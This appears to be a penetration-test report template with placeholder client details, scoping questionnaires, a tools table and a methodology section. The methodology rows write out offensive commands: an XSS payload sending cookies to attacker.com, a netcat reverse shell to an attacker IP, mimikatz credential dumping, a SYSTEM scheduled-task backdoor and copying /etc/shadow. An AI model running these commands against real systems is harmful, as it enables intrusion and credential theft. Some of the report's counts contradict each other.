0xBugatti .Ink

2024 Security Assessment Report Prepared ForA logo with dots and lines

Description automatically generated

Client Name Here

Report Issued: 11/11/2024

## Confidentiality Notice

*This report contains sensitive, privileged, and confidential information. Precautions should be taken to protect the confidentiality of the information in this document. Publication of this report may cause reputational damage to <CLIENT NAME> or facilitate attacks against <CLIENT NAME>. <TEAM NAME> shall not be held liable for special, incidental, collateral or consequential damages arising out of the use of this information.*

## Disclaimer

*Note that this assessment may not disclose all vulnerabilities that are present on the systems within the scope of the engagement. This report is a summary of the findings from a “point-in-time” assessment made on <CLIENT NAME>’s environment. Any changes made to the environment during the period of testing may affect the results of the assessment.*

**TABLE OF CONTENTS**

Table of Contents

[Confidentiality Notice 2](#_Toc178498945)

[Disclaimer 2](#_Toc178498946)

[**Assessment Overview** 5](#_Toc178498947)

[**1. About Our Company** 5](#_Toc178498948)

[**2. Phases of penetration testing** 5](#_Toc178498949)

[**3. Engagement Team** 6](#_Toc178498950)

[**4. Engagement Contacts** 7](#_Toc178498951)

[**EXECUTIVE SUMMARY** 8](#_Toc178498952)

[**1. Overview** 8](#_Toc178498953)

[**2. Summary of Findings:** 9](#_Toc178498954)

[1. Vulnerabilities and Risk Overview: 9](#_Toc178498955)

[2. Goals Objectives & Attack Scenario [If needed]: 11](#_Toc178498956)

[**3. Summary of Business Risks:** 12](#_Toc178498957)

[**4. Recommendations:** 12](#_Toc178498958)

[**5. Conclusion:** 13](#_Toc178498959)

[**RULES OF ENGAGEMENT RoE** 14](#_Toc178498960)

[**Engagement Time Details:** 14](#_Toc178498961)

[**Engagement Tests Details** 14](#_Toc178498962)

[Engagement Performed Tests 14](#_Toc178498963)

[Engagement Test Info 15](#_Toc178498964)

[Engagement Vectors and Components 15](#_Toc178498965)

[Engagement Security Objectives and Principles 15](#_Toc178498966)

[Engagement Legal and Compliance Considerations: 16](#_Toc178498967)

[**Engagement Scope Details** 16](#_Toc178498968)

[Engagement Restrictions 17](#_Toc178498969)

[Engagement Environment 18](#_Toc178498970)

[**Engagement Access Permissions and Tools** 18](#_Toc178498971)

[Access Permissions 18](#_Toc178498972)

[Engagement Tools 20](#_Toc178498973)

[**Engagement Goals** 21](#_Toc178498974)

[**Questions** 21](#_Toc178498975)

[**Approval and Acknowledgements** 24](#_Toc178498976)

[**Methodology** 25](#_Toc178498977)

[Overview 26](#_Toc178498978)

[Phases of Penetration Testing (Senior Pentester’s Approach) 27](#_Toc178498979)

[Testing Frameworks & Standards 33](#_Toc178498980)

[Tools Used 33](#_Toc178498981)

[Attack Techniques 34](#_Toc178498982)

[Manual vs. Automated Testing 34](#_Toc178498983)

[Risk Assessment & Prioritization 35](#_Toc178498984)

[False Positives and Validation 35](#_Toc178498985)

[Conclusion 35](#_Toc178498986)

[**ASSESSMENT FINDINGS** 36](#_Toc178498987)

[**1. SQL Injection Vulnerability on /login.php (Critical)** 37](#_Toc178498988)

[Information Gathering (Reconnaissance) 37](#_Toc178498989)

[Vulnerability Details 37](#_Toc178498990)

[Used tools 37](#_Toc178498991)

[Analysis and Steps to Reproduce 38](#_Toc178498992)

[Recommendation 38](#_Toc178498993)

[Post Penetration Cleanup 38](#_Toc178498994)

[References (opt) 39](#_Toc178498995)

[**Appendix** 39](#_Toc178498996)

[**A- CLASSIFICATION DEFINITIONS** 39](#_Toc178498997)

[Risk Classifications 39](#_Toc178498998)

[Risk Grades 40](#_Toc178498999)

[Exploitation Likelihood Classifications 41](#_Toc178499000)

[Business Impact Classifications 41](#_Toc178499001)

[Remediation Difficulty Classifications 42](#_Toc178499002)

[**B- Resolution Status** 43](#_Toc178499003)

[**C - Compromised Assets / Users** 43](#_Toc178499004)

[**D – Additional ENGAGEMENT INFORMATION** 44](#_Toc178499005)

# **Assessment Overview**

## **1. About Our Company**

0xBugatti .Co is a leading Penetration Testing as a Service (PTaaS) platform which combines continuous automated scanning with on-demand manual pentests by security experts. Astra follows the highest standards for security testing, vulnerability scanning and is an active contributor to industry leading Open source security standards and tools (OWASP WSTG, OWASP ZAP).

The assessment was performed within the predefined scope of this engagement, and its findings and recommendations have been shared with the

customer. A penetration test is considered a snapshot in time. The findings and recommendations solely reflect the information gathered during

the assessment period and do not account for any subsequent changes or modifications.

## **2. Phases of penetration testing**

* **Planning:**
  + Customer goals are gathered and rules of engagement obtained.
* **Discovery:**
  + Perform scanning and enumeration to identify potential vulnerabilities, weak areas, and exploits.
* **Attack:**
  + Confirm potential vulnerabilities through exploitation and perform additional discovery upon new access.
* **Reporting :** 
  + Document all found vulnerabilities and exploits, failed attempts, and company strengths and weaknesses.

## **3. Engagement Team**

|  |  |  |  |
| --- | --- | --- | --- |
| Name | Role | Description | License / Certificates |
| Amr Samer | **App Security  Analyst** | APP Security analyst  with over 10 years of experience in various technical fields, including database design, field device support, help desk, IT asset management, programming, and information security. His primary duties include conducting network vulnerability assessments, penetration tests, web application assessments, firewall configuration audits, wireless assessments, and social engineering engagements. | |  | | --- | | OSCP  OSEP  OSWE  eCPPT  CRTP  CRTE  GPEN  GWPT |  |  | | --- | |  | |
| Karim Saeed | **Source Code  Analyst** | Source Code Review  With over 10 years in technical roles, including software development and cybersecurity, the Source Code Review Security Engineer focuses on identifying and addressing security vulnerabilities in source code. Responsibilities include conducting detailed code reviews, utilizing static and dynamic analysis tools, and working with development teams to ensure secure coding practices and effective remediation strategies. | OSCP  OSEP  OSWE  eCPPT  CRTP  CRTE  GPEN  GWPT   |  | | --- | |  | |

## **4. Engagement Contacts**

**Client Contacts**

|  |  |  |
| --- | --- | --- |
| Name | Role | Mail |
| |  | | --- | | **Rachel Williams** |  |  | | --- | |  | | |  | | --- | | **Chief Executive Officer** |  |  | | --- | |  | | |  | | --- | | rachel@client.com |  |  | | --- | |  | |
| |  | | --- | | **William Ley** |  |  | | --- | |  | | |  | | --- | | **Chief Technical Officer** |  |  | | --- | |  | | wley@client.com |
| |  | | --- | | **Mary stodz** |  |  | | --- | |  | | |  | | --- | | **Chief Security Officer** | |  |  |  | | --- | |  | | mstodz@client.com |

**Assessor Contacts**

|  |  |  |
| --- | --- | --- |
| Name | Role | Mail |
| |  | | --- | | **Mohamed Raheel** |  |  | | --- | |  | | |  | | --- | | **Service Delivery** |  |  | | --- | |  | | |  | | --- | | moh.raheel2@company.com |  |  | | --- | |  | |
| |  | | --- | | **Ahmed Ali** |  |  | | --- | |  | | |  | | --- | | **Security Consult** |  |  | | --- | |  | | ahmed.alisallam@company.com |

# **EXECUTIVE SUMMARY**

## **1. Overview**

On June 27, 2024, through June 28, 2024, 0xBugatti .Co Corporation was engaged by [Client] to conduct a thorough security assessment of a specified target. The assessment comprised three distinct phases:

* External Network Vulnerability Assessment/Penetration Test (NVA/PT)
* Internal NVA/PT
* Web Application Assessment.

**Objectives were to**

* identify security vulnerabilities.
* assess the effectiveness of existing security controls.
* Explain the potential impact of the identified vulnerabilities, such as the extent of data exposure, potential financial losses, or reputational
* damage that could occur if they were exploited by malicious actors.
* Recommend technical security best practices to improve security posture of the target applications audited.

## **2. Summary of Findings:**

### 1. Vulnerabilities and Risk Overview:

<TEAM NAME> performed a security assessment of SCOPE of <CLIENT > on <TEST DATE>.   
penetration test simulated an attack from an **Internal/external** threat actor attempting to compromise **systems/APPs** within the <CLIENT> corporate network.

**The purpose of this assessment**

* discover and identify vulnerabilities in <CLIENT NAME>’s infrastructure
* suggest methods to remediate the vulnerabilities.

A total of N vulnerabilities/recommendations were reported by <TEAM NAME>  
within the scope of the engagement   
**Statistics**

* **Highest** risk score assigned to a vulnerability was **9.2**, the
* **Lowest** was 2.5, and the average score was **3.9**

all them are broken down by severity in the Chart , table below.

|  |  |  |  |
| --- | --- | --- | --- |
| **CRITICAL** | **HIGH** | **MEDIUM** | **LOW** |
| **2** | **3** | **5** | **10** |

**Highest** severity identified vulnerabilities give potential attackers the opportunity to   
get full [internal access to the Data Center/Web Server / Internal Files/ Internal Codes /DB ]. In order to ensure data confidentiality, integrity, and availability, security remediations should be implemented as described in the security assessment findings.   
**Performed tests**

● All set of applicable OWASP Top 10 Security Threats

● All set of applicable SANS 25 Security Threats

**Web Application Vulnerability Assessment:**

* Two (2) application vulnerable to Insecure File Upload.
* Five (3) application vulnerable to Structured Query Language (SQL) injection.
* Two (2) applications vulnerable to reflected Cross-site Scripting (XSS).
* One (3) application using an insecure Word press Plugin.
* One (4) application using an outdated JavaScript library.
* One (4) application found to have directory listing enabled.
* Two (2) applications using Transport Layer Security (TLS) version 1.0.

**Web Application Penetration Testing (PT):**

* User information extracted from the application’s backend database using SQL injection.
* Files accessed via directory listing.
* Pop-up alerts executed with XSS.

### 2. Goals Objectives & Attack Scenario [If needed]:

|  |  |  |
| --- | --- | --- |
| **Objective** | **Target** | **Steps** |
| **Gain Remote Access** | **10.10.41.58 Web Server** | * **Network Service Scanning and Port Enumeration.** * **Subdomains and VHOST Enumeration.** * **Web Application Enumeration by   - Guessing File names, Endpoints, Login  Portals, Hidden parameters   - Identifying Sensitive, Insecure & Outdate Components** * **Exploit Wrong Implementation of File Upload  Functionality** * **Upload Malicious File and Take Control on Server** |
| **Get root Access on Web Server** | **10.10.41.58 Web Server** | * **Try to find Internal Deployment Misconfiguration.** * **Try to Attack Outdated Components Packages ,Kernel Versions** * **Hunt on Sensitive Files, Memory Cached Credentials.** * **Found Clear text Password on Bash History** * **Get r00t! access with Password:pass281@1** |
| **Get DB Admin Password** | **10.10.25.10 MSQL DB** | * **Network Service Scanning and Port Enumeration.** * **Subdomains and VHOST Enumeration.** * **Web Application Enumeration by   - Guessing File names, Endpoints, Login  Portals, Hidden parameters   - Identifying Sensitive , Insecure & Outdate Components** * **Find, Exploit Input Validation Failure  (SQL Injection) on Login Panel** * **Dump All Database to our IP 174.55.21.101** |
| **Perform Internal Credential Guessing** | **10.10.171.0/16** |  |
|  |  |  |

## **3. Summary of Business Risks:**

1. **High Severity Issues:**High-severity vulnerabilities, such as XSS attacks, can lead to theft of user sessions or credentials, resulting in significant reputational and financial damage due to potential client data leakage.
2. **Medium and Low Severity Issues:**

* These can lead to attacks on communication channels, resulting in sensitive data leakage or modification, affecting the integrity and confidentiality of data.
* Information leakage about system components may be used for further malicious actions.
* Attacks on outdated and unpatched system components can exploit publicly known vulnerabilities.
* Enumeration of user emails/usernames and brute forcing their passwords could lead to unauthorized access.
* A combination of several issues can be used to achieve successful attacks.

## **4. Recommendations:**

**Web Application Assessment:**

* Modify code to implement parameterized queries and proper input validation.
* Perform input validation and output encoding on all user input.
* Secure framed content in a sandbox and disable all unused features.
* Update the affectesd library to the latest supported version.
* Disable global directory listing.
* Disable support for TLS version 1.0 and only support TLS 1.1 or higher.
* Conduct a review of the current IT/Security program versus future requirements.
* Establish Secure SDLC best practices and assign a Security Engineer to review code monthly, conduct Static and Dynamic Application Security Testing (SAST & DAST).
* Review the architecture of the application and deploy a Web Application Firewall (WAF) to detect malicious manipulations.
* Continuously monitor logs for anomalies to detect abnormal behavior and fraud transactions; assign a dedicated security operations engineer to this task.
* Implement a robust Patch Management procedure for the entire IT infrastructure and endpoints.
* Regularly patch production and development environments and systems with the latest releases and security updates.
* Conduct annual penetration tests and quarterly vulnerability scans for internal and external environments.
* Provide security coding training for developers and develop Security Awareness training for employees and developers.
* Develop and maintain an Incident Response Plan to address data breaches or security incidents.
* Analyze risks for key assets and resources and update the codebase to conduct verification and sanitization of user input on both client and server sides.
* Use only encrypted channels for communications and improve server and application configurations to adhere to security best practices.
* Conduct remediation testing of both infrastructure and web applications.

## **5. Conclusion:**

The implementation of the recommendations outlined in this report, along with the adherence to best practices, will significantly enhance the security posture of [Client]. It is crucial to recognize that the data presented reflects a snapshot in time, and ongoing vigilance through periodic security assessments is essential to maintaining robust defenses against evolving threats.

# **RULES OF ENGAGEMENT RoE**

The ROE ensures clarity and alignment between the penetration tester and the client, helping avoid misunderstandings and maintaining legal and ethical boundaries.  
The Client commissioned the Testing Company to perform the following penetration testing services:

* Technical network-level penetration testing of internet-facing hosts ,against nodes in internal networks.
* Social Engineering and email phishing directed at CLIENT employee accounts.

## **Engagement Time Details:**

| **Preferred Start Date** |  |
| --- | --- |
| **Preferred End Date** |  |
| **Testing Period** | 7 days (September 20–27, 2024) |
| **Time Restrictions** | Avoid certain hours to prevent disruptions. |

## **Engagement Tests Details**

### Engagement Performed Tests

| **Performed Tests** | **Status** |
| --- | --- |
| Host and service enumeration | Fails criteria |
| Weak passwords attack and brute-force | Fails criteria |
| Identification of misconfigurations | Fails criteria |
| Vulnerability identification and system exploitation | Successfully completed |
| Search Engine Discovery and Reconnaissance for Information Leakage | Fails criteria |
| Weak Authorization Mechanisms testing | Successfully completed |
| Database compromising, sensitive information stealing | Successfully completed |
| Outdated services | Fails criteria |
| S3 bucket enumeration | Fails criteria |

### Engagement Test Info

| Intrusive Tests | Yes/No (Specify if testing involved aggressive techniques or not) |
| --- | --- |
| Scan Mode | Manual/Automated |
| Audit/ Test Type | Insert Test Type: Blackbox, Whitebox, Graybox |

### Engagement Vectors and Components

| **System Components** | **Assessment Status** |
| --- | --- |
| Servers | Tested |
| Databases | Tested |
| Network Infrastructure | Tested |
| Firewalls | Tested |
| Web Applications | Tested |
| Cloud Services (AWS, Azure, Google Cloud) | Tested |
| Virtual Machines (VMs) | Tested |
| Storage Systems (S3 buckets, file servers) | Tested |
| Internet of Things (IoT) devices | Tested |
| Workstations and Desktops | Tested |
| Mobile Devices | Tested |
| Application Programming Interfaces (APIs) | Tested |

### Engagement Security Objectives and Principles

| **Security Objectives** | **Assessment Status** |
| --- | --- |
| Confidentiality (protecting sensitive information) | Tested |
| Integrity (ensuring data is accurate and unaltered) | Tested |
| Availability (ensuring systems are up and running) | Tested |
| Authentication (verifying user identity) | Tested |
| Authorization (ensuring proper permissions) | Tested |
| Non-repudiation (preventing denial of actions) | Tested |
| Data Encryption (securing data in transit and at rest) | Tested |
| Incident Detection and Response | Tested |
| Audit and Monitoring (tracking activity) | Tested |
| Vulnerability Management | Tested |
| Disaster Recovery and Business Continuity | Tested |
|  |  |

### Engagement Legal and Compliance Considerations:

| **Compliance Standards** | **Assessment Status** |
| --- | --- |
| General Data Protection Regulation (GDPR) | Tested |
| Payment Card Industry Data Security Standard (PCI-DSS) | Tested |
| Health Insurance Portability and Accountability Act (HIPAA) | Tested |
| Sarbanes-Oxley Act (SOX) | Tested |
| Federal Information Security Management Act (FISMA) | Tested |
| International Organization for Standardization (ISO 27001) | Tested |
| National Institute of Standards and Technology (NIST) Cybersecurity Framework | Tested |
| Control Objectives for Information and Related Technologies (COBIT) | Tested |
| Gramm-Leach-Bliley Act (GLBA) | Tested |
| California Consumer Privacy Act (CCPA) | Tested |
| SOC 2 (System and Organization Controls) | Tested |

## **Engagement Scope Details**

#### **General**

| **Subnets** | [Insert Subnets] |
| --- | --- |
| **Hosts** | [Insert Hosts] |
| **Applications** | [Insert Applications] |
| **Servers** | [Insert Servers] |
| **Scope Exclusions** | - Denial of Service (DoS) - Phishing/Social Engineering (Per client request, not performed) |

#### **Web**

| **Engagement Type** | **Scope APPs /(URLs)/IPs** | **Audit/Test Type** | **Operating System(s)** | **Doman Names** | **Client Awareness** | **Deployment Development Stack** | **Login Credentials** | **Functionalities Tested** | **Start Grade** | **Closure Grade** |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| Insert Audit Type: Security Audit, Vulnerability Assessment, etc. | [Insert URL or Target System] | [Insert Test Type: Blackbox, Whitebox, Graybox] | x86\_64 GNU/Linux, Ubuntu 20.04.4 LTS | - **Primary Domain**: [some-domain.com](http://some-domain.com/) | Yes/No (Specify if client was aware of testing) | [Insert Technology Stack: Apache, NGINX, Framework: Django, Ruby on Rails, React,  Node.js | User: Pass | [Insert Functionalities: Login, Payment System, API,  cart Profile SignUP Passwod reset | [C] | [A] |

#### **Network**

| **Engagement Type** | **Target System(s)Host Name /IP** | **Audit/ Test Type** | **Operating System(s)** | **Domain Names** | **Client Awareness** | **Login Credentials** | **Start Grade** | **Closure Grade** |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| Insert Audit Type: Security Audit, Vulnerability Assessment, etc. | - **Primary Target**: [Insert Primary Target System] - **Additional Systems**: [Insert Additional Systems]- **Primary Address**: 1.2.3.4 - **Additional Addresses**: 5.6.7.8, 2001:db8:3333:4444:cccc:dddd:eeee:ffff | [Insert Test Type: Blackbox, Whitebox, Graybox] | x86\_64 GNU/Linux, Ubuntu 20.04.4 LTS | - **Domain.local** | Yes/No (Specify if client was aware of testing) | Provided/Not Provided (Details not included for security) | [Insert Start Grade/Initial Assessment Score] | [Insert Closure Grade/Final Assessment Score] |

### Engagement Restrictions

| **Restrictions** | Defines limitations and constraints during testing. |
| --- | --- |
| Exclude Critical Services | Specifies any critical services that will not be tested to avoid disruption. |
| Time Restrictions | Indicates specific times or periods when testing should not be conducted to minimize impact. |
| Data Sensitivity | Outlines any restrictions related to the handling of sensitive or proprietary data. |
| Access Limitations | Details any access controls or limitations imposed on testers to prevent unintended access. |

### Engagement Environment

| Environment | Details |
| --- | --- |
| Production | Testing occurs in the live environment used by end-users. |
| Staging | Testing occurs in a pre-production environment similar to production. |
| Isolated | Testing occurs in a completely separate environment with no impact on live systems. |

## **Engagement Access Permissions and Tools**

### Access Permissions

| **Network Access** | * **Internal Network Access**: Provided/Not Provided via VPN, Direct Connection, Internal Service (e.g., File Share, Intranet)   + **VPN Connection**: Allowed/Not Allowed   + **VPN IP Address**: [Insert VPN IP Address]   + **Direct Access**: Allowed/Not Allowed   + **Other Connection Methods**: RDP, SSH, VNC, SFTP, HTTP, HTTPS, or Custom Protocol * **External Connection**: Allowed/Not Allowed via External IPs 111.111.54.1 through Public Internet * **Port Allowance**: Specific Ports (e.g., 22, 80, 443, 3389) or Unrestricted Access * **Cloud Access**: Provided via AWS, Azure, Google Cloud, Private Cloud |
| --- | --- |
| **PT Host Information** | * **Hostname**: [Insert Hostname] * **Operating System**: Windows/Linux/MacOS/Other * **Version**: [Insert OS Version] * **Network Configuration**: Static IP/DHCP * **Firewall Status**: Enabled/Disabled/Custom Rules Applied * **Patch Level**: Up-to-date/Outdated |
| **Domain Information** | * **Domain Status**: Joined/Not Joined * **Domain Name**: [Insert Domain Name] * **Domain Controller Access**: Provided/Not Provided |
| **Credentials** | * **Credentials Provided**: Yes/No * **Access Level**: Admin/User/Service Account/Root/Read-only * **Authentication Method**: Password, Multi-Factor Authentication (MFA), Certificate-Based, Biometric, Key-Based, OAuth – * **Key-Based Access**: SSH Keys, API Keys Provided/Not Provided Castomer Account (testuser@example.com) A fake customer account in the XXXX application for testing functionality that requires authentication. |

### Engagement Tools

| **Tool Name** | **Category** | **Purpose** | **Usage Description** |
| --- | --- | --- | --- |
| Nmap | Network Scanning | Port scanning and network discovery | Used to identify open ports and services on the target systems |
| Burp Suite | Web Vulnerability | Web application security testing and vulnerability scanning | Employed for manual and automated testing of web applications for security flaws |
| Metasploit | Exploitation Framework | Exploiting vulnerabilities and payload delivery | Used to exploit known vulnerabilities on the target systems |
| Nikto | Web Server Scanning | Scanning web servers for vulnerabilities | Scanned web servers for outdated software, insecure configurations, and vulnerabilities |
| Nessus | Vulnerability Scanning | Automated vulnerability scanning across networks | Used to identify known vulnerabilities, misconfigurations, and compliance issues |
| Hydra | Brute Forcing | Brute force attack on login credentials | Employed to perform password guessing attacks against multiple protocols and services |
| Gobuster | Directory Bruteforcing | Discovering hidden files and directories on web servers | Used to brute force directories and files that may not be publicly listed |
| SQLmap | SQL Injection | Automated testing for SQL injection vulnerabilities | Employed to detect and exploit SQL injection vulnerabilities in web applications |
| John the Ripper | Password Cracking | Password cracking tool | Used to crack password hashes obtained from the compromised systems |
| Aircrack-ng | Wireless Network Hacking | Cracking WEP and WPA keys | Used to capture and crack wireless network encryption keys |
| OpenVAS | Vulnerability Assessment | Comprehensive vulnerability scanning and assessment | Scanned for vulnerabilities, misconfigurations, and compliance issues in networks |

## **Engagement Goals**

| **Primary Goals** | Insert main goals/expectations, such as   * vulnerability discovery * risk assessment, * compliance validation |
| --- | --- |
| **Testing Objectives** | * Identify security gaps * Ensure systems are compliant * Stress-test the infrastructure |

## **Questions**

#### **System Penetration and Failure**

| **Action if System is Penetrated** | * **Immediate Response**: Notify client * **Containment**: Isolate affected systems * **Mitigation**: Implement temporary fixes * **Analysis**: Investigate breach details * **Reporting**: Document findings and actions taken * **Recovery**: Restore normal operations * **Post-Incident Review**: Evaluate response and improve procedures |
| --- | --- |
| **Backup Testing** | * **Regular Backup Testing**: Yes/No * **Frequency**: [Insert Testing Frequency: Daily, Weekly, Monthly, etc.] * **Details**: [Insert details on backup testing process] |
| **Additional Details** |  |
| **Date of Introduction/Kickoff Meeting** |  |

#### **Incident Handling and Testing Protocols**

| **Incident Handling** | **Steps for Serious Security Incident**: 1. Notify client immediately 2. Contain the issue 3. Assess the impact 4. Implement temporary fixes 5. Document the incident 6. Report findings to the client 7. Perform a post-incident review |
| --- | --- |
| **Test Announcement to Company Monitoring/Incident Response Team** | **Announcement Status**: [Choose an item: Announced/Not Announced] |
| **Avoidance of IP Addresses by Target Department/Organization** | **Detection/Avoidance Actions**: [Choose an item: Yes/No] |
| **Detection and Blocking Impact** | **Impact on Test**: [Choose an item: Ends Test/Does Not End Test] |
| **Steps if Systems Get Blocked and Required Approvals** | **Continuation Steps**: [Click or tap here to enter text: Describe steps to continue if systems are blocked and any required approvals] |
| **Immediate Issue Mitigation** | **Action**: Determine if issues should be mitigated immediately or only reported. [Choose an item: Mitigate Immediately/Report Only] |
| **Test Announcement to Target Personnel or Asset Owner** | **Announcement Status**: [Choose an item: Announced/Not Announced] |

#### **WEB**

| Question | Answer |
| --- | --- |
| Information required for the Web App/API/Server/Backend penetration test |  |
| What is the application name? |  |
| What is the application URL/IP? |  |
| What language is the application written in (ASP, PHP, Java etc.)? |  |
| What framework is used, if any? |  |
| Is it a Cloud hosted site? |  |
| Cloud provider name? |  |
| Have you submitted a testing request with the provider? |  |
| Is a web application firewall (WAF) being utilized? |  |
| If “YES”, will the WAF be disabled during testing, or is it possible to whitelist our IPS’s? |  |
| What is the backend database, if applicable (MySQL, Microsoft SQL, AWS Database, Oracle etc.)? |  |
| Does the application have multiple roles (unauthenticated, user, admin, manager)? |  |
| Does role-based testing is required? |  |
| What is the application login credentials, if required? (Please provide login and password of all roles which should be tested, administrator, editor, user, customer etc.) |  |
| Is the site hosted on a shared platform with other sites? |  |
| Is the site load balanced? |  |
| Are Administrators or Developers notified of errors via email? |  |
| Will the documentation of application be provided? |  |
| Is a backend in scope? |  |
| Is test data provided? |  |
|  |  |

#### **NVA - External**

| Question | Answer |
| --- | --- |
| Information required for the Network (external) penetration test |  |
| If systems are hosted outside the client managed network, please specify which hosting/cloud provider hosts these systems. |  |
| Have you received authorization for testing from provider? |  |
| How many external IP addresses are in scope for testing? |  |
| List the external IP ranges in scope for testing. |  |
| Are all systems being tested located within a client managed network? |  |
| Are perimeter/edge security controls configured to block known scans and attacks? |  |
| If “YES” to the above, will these controls be temporarily altered to fully test the target systems? |  |
| Is any target to be excluded? If so, please list targets and provide reasoning for exclusion. |  |

#### **NVA - Internal**

| Question | Answer |
| --- | --- |
| Information required for the Network (internal) penetration test |  |
| List the internal network subnets in scope for testing. |  |
| If systems are hosted outside the client managed network, please specify which /hosting/cloud provider hosts these systems. |  |
| Have you received authorization for testing from provider? |  |
| How many internal IP addresses are in scope for testing? |  |
| List the internal IP addresses in scope for testing. |  |
| Are internal network security controls configured to block known scans and attacks? |  |
| If “YES” to the above, will these controls be temporarily altered to fully test the target systems? Note: It is recommended to fully test in scope systems on the internal network(s). |  |
| Are any targets to be excluded? If so, please list targets and provide reasoning for exclusion. |  |

#### **Wireless**

| Question | Answer |
| --- | --- |
| Information required for the Network (wireless) penetration test |  |
| At how many locations is wireless testing performed? |  |
| Please provide the physical addresses of the facilities in scope for wireless security testing. |  |
| Please provide the approved SSIDs for the company’s wireless access points. |  |
| Does the guest network require authentication? |  |
| Technologies in use? WPA, WPA2-PSK or EAP? Are all accessible over 2.4GHZ or some 5GHz? |  |
| Is there any Wireless Intrusion Prevention Systems, Network Access Control (NAC) or Rogue AP detection in use? |  |
| Are any SSIDs/wireless access points to be excluded? If so, please list here and provide reasoning for exclusion. |  |
| What type of encryption is used? |  |

## **Approval and Acknowledgements**

The result of test will be presented in the form of a PDF report with a description of the activities carried out, the vulnerability findings with risk classification and the mitigation recommendations.

Date

Signature of contact representing target organization/department

Signature of head of Auditors team

Signatures of individual auditors:

# **Methodology**

Our testing methodology was split into three phases: Reconnaissance, Target Assessment, and Execution of Vulnerabilities. During reconnaissance, we gathered information about <CLIENT NAME>’s network systems. We used port scanning and other enumeration methods to refine target information and assess target values. Next, we conducted our targeted assessment. We simulated an attacker exploiting vulnerabilities in the <CLIENT NAME> network. We gathered evidence of vulnerabilities during this phase of the engagement while conducting the simulation in a manner that would not disrupt normal business operations.

The following image is a graphical representation of this methodology.

### Overview

A diagram of a team methodology

Description automatically generated

The **Web Application Vulnerability Assessment and Penetration Testing (VAPT)** was conducted using a multi-phase approach, based on established security frameworks and industry standards, including **OWASP**, **PTES**, **NIST SP 800-115**, and **OSSTMM**. This methodology is designed to identify, exploit, and document vulnerabilities in the target application while ensuring minimal disruption to the environment

### Phases of Penetration Testing (Senior Pentester’s Approach)

| **Phase** | **Description, Techniques, and Advanced Commands** |
| --- | --- |
| **1. Reconnaissance** | reconnaissance is your foundation, and experience tells you that thorough recon is often the difference between success and failure. You balance passive and active recon, knowing when to remain stealthy and when to probe more actively.  **Approach & Commands**:   * Start with passive recon like WHOIS lookups, DNS queries, and subdomain enumeration without alerting the target. - You may use **Google Dorking** and **Shodan API** to detect exposed assets (e.g., shodan host <IP\_ADDRESS>), but the real value comes when you manually search for forgotten legacy systems using custom dorks like site:example.com -www -admin to find uncommon subdomains. * Leverage **DNS brute-forcing** with tools like dnsenum or amass for deeper subdomain discovery: bash amass enum -d example.com -o subdomains.txt - Review SSL/TLS certs for exposed subdomains: bash openssl s\_client -connect example.com:443 -showcerts |
|  |  |
| **2. Scanning & Enumeration** | We understand that efficient scanning can save time. Here, precision scanning is crucial — wide, noisy scans can alert the blue team. You also aim to detect obscure services, so deeper techniques like timing manipulation and custom NSE scripts can reveal misconfigured assets.  **Approach**:   * **Stealth Scanning**: Start with slow and low-profile scans to avoid IDS detection: bash nmap -sS -p- -T2 -v example.com --max-retries 3 --randomize-hosts - Leverage **service versioning** (-sV) and **NSE scripts** (--script vuln) to identify and verify vulnerabilities more precisely. * Use **Nmap’s timing options** to scan evasively or aggressively depending on the environment. * **Vulnerability Enumeration**: Automated scans with **Nessus** or **OpenVAS** identify CVEs, but as an expert, you often custom-build your **NSE scripts** in Nmap to tailor vulnerability scans to the specific technology stack you’re testing. bash nmap --script http-sql-injection,http-vuln-cve2021-44228 --script-args vulns.showall example.com * **Port Knocking Detection**: Sometimes a service hides behind a series of knocks. Tools like **Knockd** can be utilized here, and enumeration through **Burp Suite Intruder** or **Hydra** might reveal login portals. * **Executed Commands**: - nmap -p- -sV -A -T4 example.com (All-port scan, version detection, and OS fingerprinting) - nmap --script smb-os-discovery,smb-vuln-ms17-010 -p445 example.com (MS17-010 exploitation detection) - nmap --script http-enum -p80 example.com (Enumerating web directories) |
| **3. Exploitation** | Each exploit is a custom endeavor based on years of exploiting edge cases and manual tweaking. Automation via tools like Metasploit or SQLmap is useful, but real value comes from deep understanding and manual exploitation.  **Approach**:   * **SQL Injection**: Instead of relying solely on SQLmap, sometimes manual injection with **Burp Suite Repeater** reveals blind injection vulnerabilities. Advanced union attacks and database footprinting help you evade common WAFs: sql SELECT id,username,password FROM users WHERE id=1 UNION SELECT NULL,NULL,NULL# * **XSS**: You chain XSS vulnerabilities to steal cookies or impersonate users via **document.cookie** theft with payloads like: html <img src="http://attacker.com?c=" + document.cookie> * **Command Injection**: Manually crafted payloads such as: bash ; nc -e /bin/bash <attacker\_ip> 4444 - **Privilege Escalation**: Years of experience help you intuitively spot weak kernel versions for privilege escalation (e.g., dirty cow exploit), and you can manually exploit **SUID binaries** or misconfigured **sudoers**. bash sudo -l; /usr/bin/nmap --interactive * **Lateral Movement**: Use **psexec** or **pass-the-hash** techniques to pivot between machines in the internal network: bash impacket-psexec administrator@target\_ip 'cmd.exe' * **Executed Commands**:   + sqlmap -u "http://example.com/vuln.php?id=1" --dbs --random-agent --risk=3 --level=5 –   + msfconsole -x 'use exploit/multi/http/tomcat\_mgr\_login' (Exploit known vulnerabilities like Apache Tomcat misconfigurations)   + python3 -c 'import pty;pty.spawn("/bin/bash")' (to stabilize shells post-exploitation) |
| **4. Post-Exploitation** | After breaching the target, it’s essential to assess the scope of access gained. At this stage, creativity is key — from maintaining access to gathering as much sensitive data as possible.  **Approach**:   * **Credential Dumping**: Use tools like **Mimikatz** or **Empire** to extract credentials. With **Kerberoasting** or **LSA dumping**, you can harvest credentials from memory: bash sekurlsa::logonpasswords * **Persistence**: As an experienced attacker, you know that merely dumping credentials isn’t enough. Use **scheduled tasks**, **WMI persistence**, or **Golden Ticket attacks** to maintain long-term access. bash schtasks /create /tn "Updater" /tr "cmd /c <backdoor.exe>" /sc hourly /ru SYSTEM * **Exfiltration**: You use encrypted channels to exfiltrate sensitive data to evade detection. Tools like **DNS tunneling** or **ICMP exfiltration** are used in advanced cases to stealthily extract data without triggering alerts: bash scp user@victim:/etc/shadow ./extracted\_shadow * **Executed Commands**: - mimikatz "privilege::debug" "sekurlsa::logonpasswords" (Extract Windows logon passwords) - psexec -s cmd.exe (Execute as SYSTEM remotely via PsExec) - scp root@victim:/etc/passwd . (Exfiltrate sensitive data) |
|  |  |
